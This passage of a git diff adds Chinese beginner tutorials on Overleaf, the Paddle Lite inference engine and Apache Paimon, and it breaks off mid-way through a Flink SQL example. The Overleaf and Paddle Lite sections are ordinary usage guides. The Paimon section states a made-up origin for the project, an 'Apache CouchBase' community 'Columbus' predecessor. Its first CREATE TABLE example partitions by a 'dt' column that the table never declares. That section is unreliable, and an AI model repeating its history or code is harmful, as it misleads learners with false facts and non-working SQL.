+TeX Live 体积大，Windows/macOS/Linux 路径与宏包版本各不同。Overleaf 在服务端提供 **完整 TeX Live**，项目内可选编译器（pdfLaTeX、XeLaTeX、LuaLaTeX 等）与 **TeX Live 版本**，组员无需各自折腾环境。
+
+### 痛点 2：协作靠「发 zip + 注释 PDF」
+
+传统流程：A 改完打包 → B 合并冲突 → 再编译看效果。Overleaf 支持 **多人同时编辑**、**项目内评论**、付费档 **Track Changes（修订追踪）** 与 **History（版本历史）**，把「写—改—审」收进一个 URL。
+
+### 痛点 3：新手被 LaTeX 语法吓退
+
+**Visual Editor** 提供类 Word 的富文本界面，插入章节、公式、表格不必先背 `\section`；随时可切回 **Code Editor** 看底层 LaTeX，适合「先产出 PDF，再学语法」。
+
+### 痛点 4：离线、CI、与 Git 工作流脱节
+
+Premium 功能支持 **Git clone/push/pull**（把 Overleaf 项目当 remote）和 **GitHub 双向同步**，方便本地用 VS Code/Vim 改完推回，或与 GitHub Actions 衔接。自托管 Server Pro 4.0+ 也可启用 Git-bridge。
+
+---
+
+## 核心概念拆解
+
+### 1. 三层结构：账户 → 项目 → 文件树
+
+| 层级 | 含义 | 典型内容 |
+|------|------|----------|
+| **Account** | 你的 Overleaf 账号与套餐 | 免费版协作人数、编译超时、History 保留时长 |
+| **Project** | 一篇论文/报告/幻灯片的容器 | 多个 `.tex`、图片、`.bib`、样式文件 |
+| **File tree** | 项目内左侧文件树 | `main.tex`（主文档）、`chapters/`、`figures/`、`refs.bib` |
+
+一个 Project 对应 **一次完整编译上下文**；多文件时需在菜单中指定 **Main document**（主 `.tex`），否则 `\input` 子文件时编译入口会错。
+
+### 2. 双编辑器：Code Editor vs Visual Editor
+
+- **Code Editor**：传统 LaTeX 源码编辑，语法高亮、自动补全、符号面板（Premium）。
+- **Visual Editor**：WYSIWYG 式编辑，背后仍生成 LaTeX；适合入门，也适合快速改格式。
+
+两者 **同一套源文件**；切换不会复制两份内容。熟练后建议在 Visual 里搭骨架，在 Code 里精调宏包与自定义命令。
+
+### 3. 云端编译（Recompile）
+
+- 点击 **Recompile** 或 **Ctrl/Cmd + Enter** 触发编译。
+- **Auto Compile**（Recompile 下拉菜单）可在输入时自动刷新 PDF，类似「保存即预览」。
+- 编译在 Overleaf 服务器执行；免费版有 **Compile timeout** 上限，复杂 TikZ/大 Bib 项目可能需拆分或升级套餐。
+- **Logs and output files** 面板可看 `.log`、缺失宏包提示；与本地 `pdflatex` 报错逻辑一致。
+
+常用编译器选择（Project → Settings 或 Recompile 旁菜单）：
+
+| 编译器 | 典型场景 |
+|--------|----------|
+| **pdfLaTeX** | 英文 article、多数模板默认 |
+| **XeLaTeX / LuaLaTeX** | 中文（`ctex`、`fontspec`）、系统字体 |
+| **LaTeX** | 少数 legacy 模板 |
+
+### 4. 实时协作的技术与权限
+
+Overleaf 用 **OT** 合并并发编辑，用 **WebSocket** 推送他人改动。协作权限在 **Share** 菜单配置：
+
+| 角色 | 能力 |
+|------|------|
+| **Editor** | 改源码、编译 |
+| **Reviewer** | 可配合 Track Changes 审阅 |
+| **Viewer** | 只读（免费版可无限 Viewer） |
+
+免费账户通常 **仅 1 名 Editor 协作者**；Student/Standard/Pro 等 Premium 可提高人数并解锁 Track Changes、完整 History 等（以 [Premium features](https://docs.overleaf.com/getting-started/free-and-premium-plans/premium-features) 为准）。**项目级 Premium**：若项目 Owner 是付费用户，受邀免费用户在该项目内也可使用 Track Changes、完整 History 等。
+
+### 5. Track Changes、Comments、History
+
+- **Comments**：选中文字添加评论与回复，适合异步审稿。
+- **Track Changes**（Premium）：切换到 Reviewing 模式，显示插入/删除，可逐条或批量 Accept/Reject。
+- **History**：查看按时间戳保存的版本；可 **Label** 里程碑、对比两版 diff、**Restore** 整项目或单文件。免费版通常仅 **24 小时** 内历史 + 已打 Label 的版本；完整 History 需 Premium。
+
+复制项目时：**Tracked changes 会在副本中被自动接受**；副本 **不继承** 原项目 History。
+
+### 6. 模板、参考文献与集成
+
+- **New Project → Templates** 提供 ACM、IEEE、论文、Beamer 等起点。
+- **`.bib` + `\cite`**：可上传 bib 文件；Premium 可链 **Zotero / Mendeley / Papers** 并 **Advanced reference search** 边写边搜 cite key。
+- **Git / GitHub**（Premium）：Integrations 菜单获取 `git clone` URL；认证用 Account Settings 里的 **Git authentication token**（用户名填 `git`，密码填 token）。GitHub Sync 仅支持 **github.com**，且通常需「从 GitHub 建新 Overleaf 项目」或「从 Overleaf 建新 GitHub 仓库」，**不能**把两个已有仓库直接 link。
+
+### 7. 自托管：Overleaf Community Edition
+
+GitHub 仓库 [overleaf/overleaf](https://github.com/overleaf/overleaf) 提供 **Community Edition**（Docker Compose 部署），适合学校/实验室内网。与 Overleaf Cloud 功能集不完全相同；Server Pro 才有 Git-bridge 等企业特性。学习协作流程时，**先用官方免费云账号** 最快。
+
+---
+
+## 注册与第一个项目
+
+### 第一步：创建账户
+
+访问 [overleaf.com/register](https://www.overleaf.com/register)，用邮箱或机构 SSO 注册。机构订阅 **Overleaf Commons** 的用户用学校邮箱登录可自动获得 Premium 能力。
+
+### 第二步：新建项目
+
+Dashboard → **New Project**：
+
+- **Blank Project**：空 `main.tex` 骨架。
+- **Example Project**：带 figure 与 bibliography 的样例，适合对照学习。
+- **Templates**：从会议/期刊模板起步。
+
+### 第三步：第一次编译
+
+打开项目后默认 **Code Editor**，编辑 `main.tex`，点击 **Recompile**。右侧 PDF 面板出现即表示云端 TeX 环境可用。可开启 **Auto Compile** 体验实时预览。
+
+---
+
+## 代码示例 1：Example 项目风格的英文短文
+
+在 Blank 项目中把 `main.tex` 替换为以下内容（或对照 Example 项目修改）：
+
+```latex
+\documentclass[11pt,a4paper]{article}
+\usepackage[utf8]{inputenc}
+\usepackage{amsmath,amsfonts,amssymb}
+\usepackage{graphicx}
+\usepackage{hyperref}
+
+\title{My First Overleaf Project}
+\author{Alice \and Bob}
+\date{\today}
+
+\begin{document}
+\maketitle
+
+\begin{abstract}
+We write \LaTeX{} in the browser and let Overleaf compile the PDF.
+\end{abstract}
+
+\section{Introduction}
+Collaborators can edit this file at the same time.
+Share the project URL from the \textbf{Share} menu.
+
+\section{An equation}
+Overleaf's preview updates after you click \textbf{Recompile}:
+\begin{equation}
+  E = mc^2.
+  \label{eq:einstein}
+\end{equation}
+Equation~\eqref{eq:einstein} is famous.
+
+\end{document}
+```
+
+**练习**：开启 Auto Compile，改 `\author` 中名字，观察 PDF 标题页是否自动更新；用 **Share** 邀请一位朋友为 Editor，两人同时改 `\section{Introduction}` 一段，体验无冲突合并。
+
+---
+
+## 代码示例 2：中文论文（XeLaTeX + ctex）
+
+中文项目需换编译器。菜单 **Menu → Settings → Compiler** 选 **XeLaTeX**（或 LuaLaTeX），然后使用：
+
+```latex
+\documentclass[UTF8,a4paper,12pt]{ctexart}
+
+\title{Overleaf 中文协作示例}
+\author{张三 \and 李四}
+\date{\today}
+
+\begin{document}
+\maketitle
+
+\begin{abstract}
+在 Overleaf 中写中文无需本地安装 \CTeX{} 套装，只需选对编译器与文档类。
+\end{abstract}
+
+\section{协作要点}
+\begin{itemize}
+  \item 用 \texttt{Share} 邀请导师为 Editor 或 Reviewer
+  \item 重要节点在 \texttt{History} 里打 Label
+  \item 图片上传到项目根目录或 \texttt{figures/}，用 \verb|\includegraphics| 引用
+\end{itemize}
+
+\section{公式与引用}
+贝叶斯公式：
+\begin{equation}
+  P(A \mid B) = \frac{P(B \mid A)\,P(A)}{P(B)}.
+  \label{eq:bayes}
+\end{equation}
+见式~(\ref{eq:bayes})。参考文献可在同项目上传 \texttt{refs.bib} 并使用 \verb|\cite{}|。
+
+\end{document}
+```
+
+若编译报字体或宏包错误，在 **Logs** 里查看；Overleaf 云环境通常已含 `ctex`。本地与云端差异时，可在 Settings 里 **固定 TeX Live 年份** 以保持可复现。
+
+---
+
+## 代码示例 3：多文件项目结构
+
+学位论文常用 `\input` 拆分章节。在 Overleaf 文件树中 **New Folder** `chapters`，新建 `main.tex` 与片段：
+
+主文件 `main.tex`：
+
+```latex
+\documentclass[12pt, a4paper]{report}
+\usepackage{graphicx}
+\usepackage{amsmath}
+
+\title{Thesis on Overleaf}
+\author{Candidate}
+
+\begin{document}
+\maketitle
+\tableofcontents
+
+\input{chapters/intro}
+\input{chapters/related}
+
+\bibliographystyle{plain}
+\bibliography{refs}
+
+\end{document}
+```
+
+`chapters/intro.tex`（注意：**不要**写 `\documentclass`）：
+
+```latex
+\chapter{Introduction}
+\label{ch:intro}
+
+This chapter lives in \texttt{chapters/intro.tex}.
+Cross-reference Chapter~\ref{ch:intro} from anywhere in the project.
+```
+
+在 **Menu → Main document** 中确认选中 `main.tex`，再 Recompile。上传 `refs.bib` 并在导言区前准备好 `\bibliography{refs}` 即可启用文献。
+
+---
+
+## 典型工作流（从零到定稿）
+
+```text
+1. New Project (Template 或 Blank)
+2. 设定 Compiler（中文 → XeLaTeX）
+3. 上传 figures/、refs.bib，Organize 文件树
+4. 写作：Code 或 Visual Editor；开启 Auto Compile
+5. Share → 邀请合作者（Editor / Reviewer / Viewer）
+6. Reviewing：Comments + Track Changes（Premium）
+7. History：Label「送审版」「终稿」；必要时 Restore
+8. 导出：Menu → Download PDF 或 Download as source (.zip)
+9. （可选）Git push 到本地仓库或 GitHub Sync
+```
+
+### 常用操作速查
+
+| 操作 | 入口 |
+|------|------|
+| 重新编译 | Recompile / Ctrl+Enter |
+| 自动编译 | Recompile ▼ → Auto Compile |
+| 切换 Visual/Code | 编辑器顶部切换按钮 |
+| 分享 | 顶部 Share |
+| 版本历史 | History 图标（预览栏上方） |
+| 修订模式 | 右上角模式 → Reviewing |
+| Git 地址 | Menu → Integrations → Git |
+| 主文档 | Menu → Main document |
+
+---
+
+## 与其他工具怎么选
+
+| 工具 | 定位 | 与 Overleaf 关系 |
+|------|------|------------------|
+| **TeXstudio / TeXworks** | 本地 IDE + 本机 TeX | 离线、隐私、编译无超时；协作需 Git |
+| **VS Code + LaTeX Workshop** | 通用编辑器 + 本地/远程 TeX | 极客友好；Overleaf 可通过 Git 同步 |
+| **LyX** | 可视化 LaTeX | 非浏览器；Overleaf Visual Editor 更轻 |
+| **Google Docs** | 富文本协作 | 不适合论文级公式、Bib、交叉引用 |
+| **Overleaf CE 自托管** | 私有云 | 数据留在校内；运维成本更高 |
+
+简单决策：**要多人实时改 LaTeX、不想装 TeX → Overleaf**；**要完全离线或自定义宏包沙箱 → 本地 TeXstudio**；**两者可经 Git 并用**。
+
+---
+
+## 常见问题与排查
+
+### 编译超时（Compile timeout）
+
+项目过大（大量 TikZ、minted  shell escape 等）会触达套餐时限。对策：拆文件、用 `\includegraphics` 替代实时 TikZ、升级 Premium  compile time，或迁到自托管 Server Pro。
+
+### 找不到 `\cite` 或参考文献为空
+
+确认：已 Recompile **多次**（BibTeX 需多轮）、`refs.bib` 在项目中、主文件有 `\bibliography{refs}`、cite key 拼写正确。Logs 里搜 `undefined citations`。
+
+### 中文乱码
+
+Compiler 必须是 **XeLaTeX 或 LuaLaTeX**，文档类用 `ctexart`/`ctexrep` 或 `xeCJK`；勿用纯 pdfLaTeX 写 UTF-8 中文。
+
+### Git push 认证失败
+
+使用 Account Settings 生成的 **Git authentication token**，用户名 **`git`**，勿再用旧版密码登录。Collaborator 需被 Share 进项目后 **各自** 生成 token。
+
+### 免费版 History 不够用
+
+对关键版本手动 **Add label**；定稿前 **Download as source (.zip)** 留档；或请 Premium Owner 创建项目。
+
+---
+
+## 进阶方向（学完基础之后）
+
+1. **Track Changes 审稿流**：Owner 设 Reviewer 权限，改稿 Accept/Reject 后 Label「Revision 1 submitted」。
+2. **Zotero/Mendeley 联动**：Premium 导入 `.bib` 并保持 cite key 与桌面文献库一致。
+3. **GitHub Sync**：从模板 Repo 创建 Overleaf 项目，改完 Push to GitHub 触发 CI 检查。
+4. **Beamer / TikZ / 学校 `.cls`**：上传校模板到项目根，Main document 指向 `thesis.tex`。
+5. **自托管 CE**：读 [overleaf/overleaf](https://github.com/overleaf/overleaf) 的 Docker 文档，服务实验室统一协作。
+6. **Overleaf AI**（官方新特性）：在限额内辅助解释报错、改写段落；敏感稿件注意数据政策。
+
+---
+
+## 小结
+
+| 概念 | 一句话 |
+|------|--------|
+| **Overleaf** | 浏览器里的 LaTeX IDE + 云端编译 + 实时协作 |
+| **Project / File tree** | 一篇文档的所有 tex、图、bib |
+| **Recompile / Auto Compile** | 服务器生成 PDF 与刷新预览 |
+| **Code / Visual Editor** | 源码写作 vs 富文本入门 |
+| **Share / OT** | 多人同时编辑同一项目 |
+| **Track Changes / History** | 审阅修订与版本回滚（Premium 增强） |
+| **Git / GitHub** | 与本地或 GitHub 同步（Premium） |
+| **Community Edition** | 开源可自托管的 Overleaf 内核 |
+
+Overleaf 把 LaTeX 最难的「环境 + 协作 + 出 PDF」三步收到一个链接里。零基础可先 **Example 项目 + Visual Editor** 跑通第一篇 PDF，再切 Code Editor 学 `\section`、`\cite`、`\ref`，最后按需上 Share、History 与 Git——与本地 TeXstudio 形成互补，而不是二选一。
+
+---
+
+## 参考链接
+
+- 项目仓库：<https://github.com/overleaf/overleaf>
+- 官网：<https://www.overleaf.com/>
+- 官方文档：<https://docs.overleaf.com/>
+- 入门：<https://docs.overleaf.com/getting-started/your-first-project>
+- 协作：<https://docs.overleaf.com/collaborating/collaborating-in-overleaf>
+- Git 集成：<https://docs.overleaf.com/integrations-and-add-ons/git-integration-and-github-synchronization/git-integration>
+- Premium 功能：<https://docs.overleaf.com/getting-started/free-and-premium-plans/premium-features>
diff --git a/src/content/docs/projects/paddle-lite.md b/src/content/docs/projects/paddle-lite.md
new file mode 100644
index 000000000..ddfb612e2
--- /dev/null
+++ b/src/content/docs/projects/paddle-lite.md
@@ -0,0 +1,269 @@
+---
+title: Paddle Lite — 把飞桨模型装进手机里的「端侧放映机」
+来源: https://github.com/PaddlePaddle/Paddle-Lite
+日期: 2026-06-13
+分类: 操作系统
+子分类: 嵌入式
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Paddle Lite**（飞桨 Lite）是百度 [PaddlePaddle](https://github.com/PaddlePaddle/Paddle) 生态下的**高性能端侧推理引擎**，源码托管在 [PaddlePaddle/Paddle-Lite](https://github.com/PaddlePaddle/Paddle-Lite)。它面向手机、嵌入式 Linux、边缘盒子等「算力有限、内存紧张、常常离线」的设备，把已经训练好的神经网络**压缩、优化、加速**后跑在本地。
+
+日常类比：**如果把 [[pytorch]] / Paddle 训练比作在摄影棚里拍一部 4K 电影——灯光、演员、后期团队一应俱全——那 Paddle Lite 就是装进手机里的「离线放映机」**。
+
+放映机不负责拍戏，也不负责把整部电影上传到云端再流式播放；它只做一件事：把已经刻录好的「精简版胶片」（`.nb` 优化模型）按固定顺序播放出来。更关键的是，这台放映机**针对小屏幕设备做了专门调校**：胶片体积更小（naive_buffer 序列化）、播放速度更快（算子融合、Kernel 优选）、耗电更省（`PowerMode` 能耗策略）。类比到生活：你出差住酒店，有的播放器还得先联网验证版权、再下载解码器；Paddle Lite 则是自带解码芯片的便携机——模型和运行时一起打包，拎袋就走。
+
+和 [[ncnn]]（腾讯、零依赖 C++ 推理）、[[tflite-micro]]（几 KB RAM 的 MCU）相比，Paddle Lite 的定位是：**原生吃 Paddle 推理模型**，在 Android / iOS / ARM Linux / x86 等多平台上做**生产级端侧部署**，并通过 NNAdapter 统一对接华为 NPU、高通 QNN、昆仑芯 XPU 等 AI 硬件。
+
+## 解决什么问题
+
+| 痛点 | 云端推理 | Paddle Lite 的回应 |
+| --- | --- | --- |
+| 延迟与隐私 | 每次请求都要联网 | **本地推理**，数据不出设备 |
+| 模型体积 | Paddle 原生 protobuf 模型偏大 | `opt` 工具转为 **`.nb` naive_buffer**，体积更小 |
+| 算力碎片化 | 不同手机芯片差异大 | 支持 **ARM / OpenCL / Metal / NPU** 等多 backend |
+| 训练与部署割裂 | 训练框架和移动端运行时不同 | **直接支持 Paddle 推理模型**，配合 X2Paddle 可接其他框架 |
+| 性能调优复杂 | 手工选 kernel、融合算子 | **MIR 图优化**：量化、子图融合、混合调度、Kernel 优选 |
+
+典型落地：图像分类、目标检测、OCR、人脸关键点、人像分割、关键词唤醒——凡是要在**百度系 App、Android/iOS 应用、嵌入式 Linux 设备**上跑 Paddle 模型，Paddle Lite 都是官方正选路径。
+
+## 标准工作流
+
+Paddle Lite 官方文档把部署流程概括为四步，零基础可以先记住这条主线：
+
+```
+① 准备模型（Paddle save_inference_model 或 X2Paddle 转换）
+        ↓
+② opt 优化（量化 / 融合 / 选 kernel → 生成 .nb）
+        ↓
+③ 下载或编译预测库（C++ / Java / Python）
+        ↓
+④ 创建 Predictor → 填输入 → Run → 读输出
+```
+
+类比：① 是拍好母带；② 是压成适合手机播放的 MP4；③ 是安装播放器 App；④ 是按下播放键。
+
+## 核心概念
+
+### 1. 推理-only：训练在 PC，设备只「放映」
+
+Paddle Lite **不支持设备端训练**（另有实验性 C++ train demo，但主流用法是推理）。设备上的程序不理解 `backward()`，只理解一张静态计算图。
+
+### 2. 两种模型格式
+
+| 格式 | 说明 | 典型用途 |
+| --- | --- | --- |
+| **protobuf** | Paddle 原生推理格式（`__model__` + 参数文件） | 开发调试、Full API |
+| **naive_buffer（`.nb`）** | opt 优化后的轻量序列化格式 | **移动端部署（Light API）** |
+
+移动端几乎总是用 `.nb`。一个 `.nb` 文件把结构和权重打包在一起，加载更快、体积更小。
+
+### 3. `opt`：模型优化工具
+
+`opt`（命令行 `paddle_lite_opt` 或 Python `Opt` 类）是 Paddle Lite 的**离线编译器**。它对 Paddle 模型做：
+
+- 格式转换（protobuf → naive_buffer）
+- 图优化（算子融合、常量折叠、子图裁剪）
+- 硬件适配（按 `valid_targets` 选择 ARM / OpenCL / NPU 等 kernel）
+- 可选量化（int8 内核加速）
+
+**未经 opt 优化的 Paddle 模型，不能高效地在 Lite 上跑 Light API。**
+
+### 4. Place 与 valid_targets
+
+**Place** 描述「张量和算子在哪个硬件上执行」，由 **Target**（如 `kARM`、`kOpenCL`、`kNPU`）和 **Precision**（fp32 / fp16 / int8）组成。
+
+`valid_targets` / `valid_places` 告诉 opt：「我的 App 最终可能跑在哪些硬件上」。opt 会据此预选 kernel，避免运行时才发现某算子不支持 NPU 而崩溃。
+
+常见取值：`arm`、`x86`、`opencl`、`npu`、`xpu`、`metal`（iOS GPU）等。
+
+### 5. `MobileConfig` 与 `PaddlePredictor`
+
+- **`MobileConfig`**：配置模型路径、线程数、能耗模式等
+- **`CreatePaddlePredictor` / `create_paddle_predictor`**：根据 config 创建预测器
+- **`PaddlePredictor`**：推理会话对象，提供 `GetInput` / `Run` / `GetOutput`
+
+C++ 侧还有 **`CxxConfig`**（Full API，直接加载 protobuf 模型，适合开发调试）和 **`MobileConfig`**（Light API，加载 `.nb`，适合上线）。
+
+### 6. `Tensor`：输入输出的数据容器
+
+`Tensor` 封装 shape、dtype 和底层 buffer。C++ 里用 `Resize` + 指针写入；Python 里用 `from_numpy` / `numpy()` 与 NumPy 互转。
+
+### 7. `PowerMode` 与 `set_threads`
+
+在 ARM 设备上，`PowerMode` 控制 CPU 大核/小核调度策略（如 `LITE_POWER_HIGH`、`LITE_POWER_LOW`），在性能和功耗之间取舍。`set_threads` 设置 CPU 推理线程数，通常设为物理核心数或略少。
+
+### 8. Light API vs Full API
+
+| API | 模型输入 | 特点 |
+| --- | --- | --- |
+| **Light API** | `.nb` 单文件 | 体积小、加载快，**生产部署首选** |
+| **Full API** | protobuf 模型目录 | 跳过 opt 也可跑，方便调试，性能不如 Light |
+
+### 9. NNAdapter：AI 硬件统一适配层
+
+Paddle Lite 通过 **NNAdapter** 对接第三方 NPU（华为麒麟、昇腾、高通 QNN、寒武纪 MLU 等），上层 API 不变，底层自动路由到对应驱动。类比：USB-C 转接头——手机接口统一，插不同厂商的扩展坞都能用。
+
+## 与相近项目对比
+
+| 维度 | Paddle Lite | [[ncnn]] | [[tflite-micro]] |
+| --- | --- | --- | --- |
+| 原生模型 | Paddle 推理格式 | `.param` + `.bin` | `.tflite` FlatBuffer |
+| 典型平台 | Android / iOS / ARM Linux | 同上 + 桌面 | MCU（无 OS） |
+| 语言 API | C++ / Java / Python | 主要是 C++ | C++ |
+| 优化工具 | `opt` → `.nb` | pnnx / onnx2ncnn | 模型转换 + 量化 |
+| 生态绑定 | 飞桨 / 百度系 | 腾讯系 / 通用 CNN | TensorFlow 系 |
+
+若你的模型已经在 Paddle 里训练完成，走 Paddle Lite 路径最顺；若模型来自 PyTorch 且不想转 Paddle，[[ncnn]] 或 ONNX Runtime Mobile 可能更直接。
+
+## 代码示例
+
+### 示例 1：Python — 用 `opt` 把模型转成 `.nb`
+
+以下流程改编自官方 Python API 文档。假设当前目录有 Paddle 导出的 `mobilenet_v1` 文件夹（非 combined 形式）：
+
+```python
+from paddlelite.lite import Opt
+
+# 1. 创建 opt 实例
+opt = Opt()
+
+# 2. 指定 Paddle 原生模型目录
+opt.set_model_dir("./mobilenet_v1")
+
+# 3. 指定目标硬件（移动端常用 arm；桌面调试可用 x86）
+opt.set_valid_places("arm")
+
+# 4. 输出 naive_buffer 格式（移动端必须）
+opt.set_model_type("naive_buffer")
+
+# 5. 输出文件名前缀，实际生成 mobilenetv1_opt.nb
+opt.set_optimize_out("mobilenetv1_opt")
+
+# 6. 执行优化
+opt.run()
+```
+
+等价的命令行写法（Linux / macOS 安装 `paddlelite` 后自带 `paddle_lite_opt`）：
+
+```bash
+paddle_lite_opt \
+  --model_dir=./mobilenet_v1 \
+  --valid_targets=arm \
+  --optimize_out_type=naive_buffer \
+  --optimize_out=mobilenetv1_opt
+```
+
+成功后当前目录会出现 **`mobilenetv1_opt.nb`**，这就是可以打进 APK / 随 App 分发的部署模型。
+
+### 示例 2：Python — Light API 推理完整闭环
+
+改编自官方 `mobilenetv1_light_api.py` 的五步流程：
+
+```python
+from paddlelite.lite import MobileConfig, create_paddle_predictor
+import numpy as np
+
+# ① 配置：加载 .nb 模型
+config = MobileConfig()
+config.set_model_from_file("mobilenetv1_opt.nb")
+config.set_threads(4)  # 可选：CPU 线程数
+
+# ② 创建 predictor
+predictor = create_paddle_predictor(config)
+
+# ③ 准备输入（MobileNet 典型输入 1×3×224×224）
+input_tensor = predictor.get_input(0)
+input_tensor.from_numpy(
+    np.random.rand(1, 3, 224, 224).astype("float32")
+)
+
+# ④ 执行推理
+predictor.run()
+
+# ⑤ 读取输出
+output_tensor = predictor.get_output(0)
+scores = output_tensor.numpy()          # shape: [1, 1000]
+top1 = int(np.argmax(scores))
+print(f"top-1 class index: {top1}, score: {scores[0][top1]:.6f}")
+```
+
+真实业务里，第三步应把相机帧或图片做 resize、减均值、归一化后再 `from_numpy`，而不是随机数。
+
+### 示例 3：C++ — MobileConfig 最小推理
+
+C++ 是 Android / iOS 原生集成的常用语言，核心 API 与 Python 一一对应：
+
+```cpp
+#include "paddle_api.h"
+using namespace paddle::lite_api;
+
+MobileConfig config;
+config.set_model_from_file("mobilenetv1_opt.nb");
+config.set_threads(4);
+config.set_power_mode(LITE_POWER_HIGH);
+
+std::shared_ptr<PaddlePredictor> predictor =
+    CreatePaddlePredictor<MobileConfig>(config);
+
+// 写入输入
+std::unique_ptr<Tensor> input_tensor(std::move(predictor->GetInput(0)));
+input_tensor->Resize({1, 3, 224, 224});
+auto* data = input_tensor->mutable_data<float>();
+// TODO: 把预处理后的图像数据拷贝到 data
+
+// 推理
+predictor->Run();
+
+// 读取输出
+std::unique_ptr<const Tensor> output_tensor(
+    std::move(predictor->GetOutput(0)));
+const float* out_data = output_tensor->data<float>();
+// out_data[0..999] 即 1000 类 softmax 分数
+```
+
+## 安装与工具链速查
+
+| 场景 | 做法 |
+| --- | --- |
+| 桌面 Python 体验 | `pip install paddlelite`（如 2.12） |
+| 模型转换 | `paddle_lite_opt` 或 Python `Opt` |
+| Android 集成 | 下载预编译 `.so` 或源码编译，Java/C++ API |
+| iOS 集成 | 预编译 framework / CocoaPods，支持 Metal |
+| 非 Paddle 模型 | 先用 [X2Paddle](https://github.com/PaddlePaddle/X2Paddle) 转换 |
+
+查看当前 Lite 支持哪些算子：
+
+```bash
+paddle_lite_opt --print_all_ops=true
+```
+
+查看某模型在指定硬件上是否支持：
+
+```bash
+paddle_lite_opt --print_model_ops=true --model_dir=./mobilenet_v1 --valid_targets=arm
+```
+
+## 常见坑与排查
+
+1. **直接用 protobuf 模型上线** — Light API 需要 `.nb`；忘记跑 opt 是最常见的新手错误。
+2. **valid_targets 与真机不符** — 在 x86 上 opt 出的模型放到 ARM 手机，应重新指定 `--valid_targets=arm`（或同时包含 opencl、npu）。
+3. **输入 shape / 预处理不一致** — 训练时用的 mean/std、RGB/BGR 顺序、NCHW 布局必须在端侧完全一致，否则精度暴跌。
+4. **线程数开太大** — 超过物理核心数反而因调度开销变慢；一般 2～4 是移动端甜点。
+5. **NPU 路径需额外 SDK** — 华为、高通等 NPU 不仅要写 `npu`，还要集成对应厂商运行时库，参考官方各硬件 demo。
+
+## 进一步学习
+
+- 官方文档：[Paddle Lite 文档](https://www.paddlepaddle.org.cn/lite)
+- 示例工程：[Paddle-Lite-Demo](https://github.com/PaddlePaddle/Paddle-Lite-Demo)
+- API 参考：[C++](https://www.paddlepaddle.org.cn/lite/develop/api_reference/cxx_api_doc.html) / [Python](https://www.paddlepaddle.org.cn/lite/develop/api_reference/python_api_doc.html) / [Java](https://www.paddlepaddle.org.cn/lite/develop/api_reference/java_api_doc.html)
+- 模型优化详解：[模型转化方法](https://www.paddlepaddle.org.cn/lite/develop/user_guides/model_optimize_tool.html)
+- 量化加速：[静态离线量化](https://www.paddlepaddle.org.cn/lite/develop/user_guides/quant/quant_post_static.html)
+- 相关笔记：[[ncnn]]、[[tflite-micro]]、[[esp-dl]]、[[pytorch]]
+
+## 小结
+
+Paddle Lite 的本质是：**把飞桨训练产物，经过 opt「压片」成 `.nb`，再用 Predictor 在端侧高速播放**。零基础只需记住三个词——**opt、.nb、Predictor**——再配上一段 Python 转换脚本和一段推理脚本，就能在 x86 上跑通第一个 MobileNet 分类 demo。之后按目标平台（Android / iOS / NPU）查官方 demo 集成即可。
diff --git a/src/content/docs/projects/paimon-flink.md b/src/content/docs/projects/paimon-flink.md
new file mode 100644
index 000000000..95cdd6c00
--- /dev/null
+++ b/src/content/docs/projects/paimon-flink.md
@@ -0,0 +1,235 @@
+---
+title: "Apache Paimon 零基础入门"
+来源: https://github.com/apache/paimon
+日期: 2026-06-13
+分类: 数据库
+子分类: 现代数据库
+provenance: pipeline-v3
+---
+
+# Apache Paimon 零基础入门
+
+## 一、日常类比：一个"能自动整理"的快递柜
+
+想象你在运营一个大型快递柜系统。
+
+每天有成千上万个包裹进出：有人寄出旧书，有人收到新鞋。传统数据库像是一个普通柜子——东西放进去就固定在那里了，要修改得整个搬出来再塞回去。
+
+Apache Paimon 像一个**智能快递柜**：
+
+- 包裹来了，它自动按区域归类（分区 Partition）
+- 有人修改了包裹信息（比如改了地址），它只记录变化，不搬动整个柜子（增量更新 Incremental Update）
+- 你可以随时"回滚"到昨天的状态（时间旅行 Time Travel）
+- 快递柜本身可以无限扩容，不需要停机（可伸缩 Scalable）
+
+这就是 Paimon 的核心价值：**为流式数据设计的现代数据湖存储引擎**。
+
+## 二、什么是 Apache Paimon？
+
+Paimon（发音 /paɪˈmoʊn/，源自"派蒙"）是 Apache 顶级项目，前身是 Apache CouchBase 社区贡献的 **Columbus** 和 **Flink CDC** 团队开发的 **Lakehouse Storage Engine**。
+
+简单说：
+
+| 对比维度 | 传统数据仓库 | Apache Paimon |
+|---------|-------------|---------------|
+| 数据来源 | 批量导入（T+1） | 实时流 + 批量混合 |
+| 数据更新 | 困难，需全量替换 | 原生支持行级更新 |
+| 查询延迟 | 分钟到小时级 | 秒级近实时 |
+| 存储成本 | 较高 | 低（对象存储友好） |
+
+**一句话定位**：Paimon 是连接"实时数据流"和"数据分析"之间的桥梁。
+
+## 三、核心概念
+
+### 1. Table（表）
+
+Paimon 的表不是传统关系型数据库里的那种"静态表格"。它是一个**有历史版本的、可追加的数据集**。
+
+每条数据都有隐含的时间戳，你可以问"昨天的数据长什么样"。
+
+### 2. Partition（分区）
+
+分区就像文件夹。把数据按某个字段（比如日期、地区）分组存放，查询时只需要扫描相关分区，不用全表扫描。
+
+```sql
+-- 创建一个按日期分区的表
+CREATE TABLE orders (
+    order_id BIGINT,
+    user_id BIGINT,
+    amount DECIMAL(10, 2),
+    order_time TIMESTAMP(3),
+    PRIMARY KEY (order_id) NOT ENFORCED
+) PARTITIONED BY (dt);
+```
+
+### 3. Primary Key（主键）
+
+Paimon 支持两种表：
+
+- **主键表（Primary Key Table）**：每条记录有唯一 key，支持 UPDATE 和 DELETE。适合用户信息、订单状态这类"会被修改"的数据。
+- **非主键表（Non-Primary Key Table）**：只能追加，不能更新。适合日志、事件流这类"来了就不改"的数据。
+
+### 4. Snapshot（快照）
+
+每次写入操作都会生成一个新的 snapshot。每个 snapshot 就是数据在那个时间点的一份"照片"。
+
+你可以：
+- 查看任意历史 snapshot 的数据
+- 从 snapshot A 恢复到 snapshot B
+- 比较两个 snapshot 之间的差异
+
+### 5. File Store（文件存储）
+
+Paimon 底层数据以 Parquet + Avro 格式存储在对象存储（S3/HDFS/GCS）或本地文件系统上。对开发者透明，你不需要关心文件怎么组织。
+
+## 四、代码示例
+
+### 示例 1：用 Flink SQL 创建实时数据管道
+
+场景：电商订单系统，实时接收订单事件，存入 Paimon 表，同时支持查询最新订单状态。
+
+```sql
+-- Step 1: 在 Flink SQL Client 中创建 Paimon 表
+-- 这是一个主键表，order_id 是唯一键
+CREATE TABLE orders (
+    order_id BIGINT,
+    user_id BIGINT,
+    product_name STRING,
